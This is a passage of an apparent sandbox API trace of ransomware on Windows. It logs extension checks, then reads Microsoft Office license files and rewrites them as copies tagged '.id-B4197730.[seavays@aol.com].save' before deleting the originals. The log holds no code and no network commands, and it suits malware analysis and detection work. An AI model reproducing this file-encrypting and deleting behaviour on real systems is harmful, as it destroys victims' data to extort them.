Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77 [0182.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77 [0182.460] lstrlenW (lpString=".doc") returned 4 [0182.460] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0182.460] lstrlenW (lpString=".docx") returned 5 [0182.460] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0182.460] lstrlenW (lpString=".pdf") returned 4 [0182.460] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0182.460] lstrlenW (lpString=".xls") returned 4 [0182.460] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0182.460] lstrlenW (lpString=".xlsx") returned 5 [0182.460] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0182.460] lstrlenW (lpString=".ppt") returned 4 [0182.460] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0182.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77 [0182.460] lstrlenW (lpString=".zip") returned 4 [0182.460] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0182.461] lstrlenW (lpString=".rar") returned 4 [0182.461] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0182.461] lstrlenW (lpString=".bz2") returned 4 [0182.461] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0182.461] lstrlenW (lpString=".7z") returned 3 [0182.461] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0182.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77 [0182.461] lstrlenW (lpString=".dbf") returned 4 [0182.461] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0182.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77 [0182.461] lstrlenW (lpString=".1cd") returned 4 [0182.461] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0182.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77 [0182.461] lstrlenW (lpString=".jpg") returned 4 [0182.461] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0182.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77 [0182.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77 [0182.461] lstrlenW (lpString=".doc") returned 4 [0182.461] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0182.461] lstrlenW (lpString=".docx") returned 5 [0182.461] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0182.461] lstrlenW (lpString=".pdf") returned 4 [0182.461] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0182.461] lstrlenW (lpString=".xls") returned 4 [0182.461] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0182.461] lstrlenW (lpString=".xlsx") returned 5 [0182.461] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0182.462] lstrlenW (lpString=".ppt") returned 4 [0182.462] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0182.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77 [0182.462] lstrlenW (lpString=".zip") returned 4 [0182.462] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0182.462] lstrlenW (lpString=".rar") returned 4 [0182.462] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0182.462] lstrlenW (lpString=".bz2") returned 4 [0182.462] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0182.462] lstrlenW (lpString=".7z") returned 3 [0182.462] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0182.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77 [0182.462] lstrlenW (lpString=".dbf") returned 4 [0182.462] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0182.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77 [0182.462] lstrlenW (lpString=".1cd") returned 4 [0182.462] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0182.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77 [0182.462] lstrlenW (lpString=".jpg") returned 4 [0182.462] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0182.462] lstrcmpiW (lpString1=".xrm-ms", lpString2=".save") returned 1 [0182.462] lstrlenW (lpString="ExcelR_OEM_Perp-ppd.xrm-ms") returned 26 [0182.462] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0182.464] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=20846) returned 1 [0182.464] CloseHandle (hObject=0x36c) returned 1 [0182.464] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ppd.xrm-ms")) returned 0x220 [0182.464] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ppd.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0182.464] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0182.465] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.465] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.465] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ppd.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c [0182.466] GetLastError () returned 0x0 [0182.466] ReadFile (in: hFile=0x36c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x516e, lpOverlapped=0x0) returned 1 [0182.469] WriteFile (in: hFile=0x44c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x5170, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x5170, lpOverlapped=0x0) returned 1 [0182.470] ReadFile (in: hFile=0x36c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0182.471] WriteFile (in: hFile=0x44c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x108, lpOverlapped=0x0) returned 1 [0182.471] SetEndOfFile (hFile=0x44c) returned 1 [0182.471] CloseHandle (hObject=0x44c) returned 1 [0182.471] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.471] SetEndOfFile (hFile=0x36c) returned 1 [0182.474] CloseHandle (hObject=0x36c) returned 1 [0182.475] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0182.476] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ppd.xrm-ms")) returned 1 [0182.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76 [0182.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76 [0182.477] lstrlenW (lpString=".doc") returned 4 [0182.477] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0182.477] lstrlenW (lpString=".docx") returned 5 [0182.477] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0182.477] lstrlenW (lpString=".pdf") returned 4 [0182.477] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0182.477] lstrlenW (lpString=".xls") returned 4 [0182.477] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0182.477] lstrlenW (lpString=".xlsx") returned 5 [0182.477] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0182.477] lstrlenW (lpString=".ppt") returned 4 [0182.477] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0182.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76 [0182.479] lstrlenW (lpString=".zip") returned 4 [0182.479] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0182.479] lstrlenW (lpString=".rar") returned 4 [0182.479] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0182.479] lstrlenW (lpString=".bz2") returned 4 [0182.479] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0182.479] lstrlenW (lpString=".7z") returned 3 [0182.479] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0182.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76 [0182.479] lstrlenW (lpString=".dbf") returned 4 [0182.479] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0182.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76 [0182.479] lstrlenW (lpString=".1cd") returned 4 [0182.479] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0182.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76 [0182.479] lstrlenW (lpString=".jpg") returned 4 [0182.479] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0182.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76 [0182.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76 [0182.480] lstrlenW (lpString=".doc") returned 4 [0182.480] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0182.480] lstrlenW (lpString=".docx") returned 5 [0182.480] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0182.480] lstrlenW (lpString=".pdf") returned 4 [0182.480] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0182.480] lstrlenW (lpString=".xls") returned 4 [0182.480] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0182.480] lstrlenW (lpString=".xlsx") returned 5 [0182.480] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0182.480] lstrlenW (lpString=".ppt") returned 4 [0182.480] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0182.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76 [0182.480] lstrlenW (lpString=".zip") returned 4 [0182.480] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0182.480] lstrlenW (lpString=".rar") returned 4 [0182.480] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0182.480] lstrlenW (lpString=".bz2") returned 4 [0182.480] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0182.480] lstrlenW (lpString=".7z") returned 3 [0182.480] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0182.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76 [0182.480] lstrlenW (lpString=".dbf") returned 4 [0182.480] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0182.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76 [0182.480] lstrlenW (lpString=".1cd") returned 4 [0182.480] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0182.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76 [0182.481] lstrlenW (lpString=".jpg") returned 4 [0182.481] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0182.481] lstrcmpiW (lpString1=".xrm-ms", lpString2=".save") returned 1 [0182.481] lstrlenW (lpString="ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 29 [0182.481] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0182.576] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=11582) returned 1 [0182.576] CloseHandle (hObject=0x36c) returned 1 [0182.576] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-oob.xrm-ms")) returned 0x220 [0183.066] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-oob.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0183.066] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0183.067] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0183.067] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0183.067] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-oob.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a8 [0183.068] GetLastError () returned 0x0 [0183.068] ReadFile (in: hFile=0x530, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x2d3e, lpOverlapped=0x0) returned 1 [0183.070] WriteFile (in: hFile=0x2a8, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x2d40, lpOverlapped=0x0) returned 1 [0183.072] ReadFile (in: hFile=0x530, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0183.072] WriteFile (in: hFile=0x2a8, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x10e, lpOverlapped=0x0) returned 1 [0183.072] SetEndOfFile (hFile=0x2a8) returned 1 [0183.072] CloseHandle (hObject=0x2a8) returned 1 [0183.072] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0183.072] SetEndOfFile (hFile=0x530) returned 1 [0183.076] CloseHandle (hObject=0x530) returned 1 [0183.076] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0183.077] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-oob.xrm-ms")) returned 1 [0183.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0183.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0183.078] lstrlenW (lpString=".doc") returned 4 [0183.078] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0183.078] lstrlenW (lpString=".docx") returned 5 [0183.078] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0183.078] lstrlenW (lpString=".pdf") returned 4 [0183.078] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0183.078] lstrlenW (lpString=".xls") returned 4 [0183.079] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0183.079] lstrlenW (lpString=".xlsx") returned 5 [0183.079] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0183.079] lstrlenW (lpString=".ppt") returned 4 [0183.079] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0183.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0183.079] lstrlenW (lpString=".zip") returned 4 [0183.079] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0183.079] lstrlenW (lpString=".rar") returned 4 [0183.079] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0183.079] lstrlenW (lpString=".bz2") returned 4 [0183.079] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0183.079] lstrlenW (lpString=".7z") returned 3 [0183.079] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0183.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0183.079] lstrlenW (lpString=".dbf") returned 4 [0183.079] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0183.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0183.079] lstrlenW (lpString=".1cd") returned 4 [0183.079] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0183.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0183.080] lstrlenW (lpString=".jpg") returned 4 [0183.080] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0183.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0183.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0183.080] lstrlenW (lpString=".doc") returned 4 [0183.080] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0183.080] lstrlenW (lpString=".docx") returned 5 [0183.080] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0183.080] lstrlenW (lpString=".pdf") returned 4 [0183.080] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0183.080] lstrlenW (lpString=".xls") returned 4 [0183.080] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0183.080] lstrlenW (lpString=".xlsx") returned 5 [0183.080] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0183.080] lstrlenW (lpString=".ppt") returned 4 [0183.080] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0183.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0183.080] lstrlenW (lpString=".zip") returned 4 [0183.080] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0183.080] lstrlenW (lpString=".rar") returned 4 [0183.080] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0183.080] lstrlenW (lpString=".bz2") returned 4 [0183.080] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0183.081] lstrlenW (lpString=".7z") returned 3 [0183.081] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0183.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0183.081] lstrlenW (lpString=".dbf") returned 4 [0183.081] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0183.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0183.081] lstrlenW (lpString=".1cd") returned 4 [0183.081] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0183.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0183.081] lstrlenW (lpString=".jpg") returned 4 [0183.081] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0183.081] lstrcmpiW (lpString1=".xrm-ms", lpString2=".save") returned 1 [0183.081] lstrlenW (lpString="ExcelVL_KMS_Client-ppd.xrm-ms") returned 29 [0183.081] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0183.083] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=6860) returned 1 [0183.083] CloseHandle (hObject=0x530) returned 1 [0183.083] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ppd.xrm-ms")) returned 0x220 [0183.083] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ppd.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0183.083] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0183.083] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0183.084] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0183.084] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ppd.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a8 [0183.085] GetLastError () returned 0x0 [0183.085] ReadFile (in: hFile=0x530, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x1acc, lpOverlapped=0x0) returned 1 [0183.086] WriteFile (in: hFile=0x2a8, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x1ad0, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x1ad0, lpOverlapped=0x0) returned 1 [0183.087] ReadFile (in: hFile=0x530, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0183.088] WriteFile (in: hFile=0x2a8, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x10e, lpOverlapped=0x0) returned 1 [0183.088] SetEndOfFile (hFile=0x2a8) returned 1 [0183.088] CloseHandle (hObject=0x2a8) returned 1 [0183.088] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0183.088] SetEndOfFile (hFile=0x530) returned 1 [0183.092] CloseHandle (hObject=0x530) returned 1 [0183.092] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 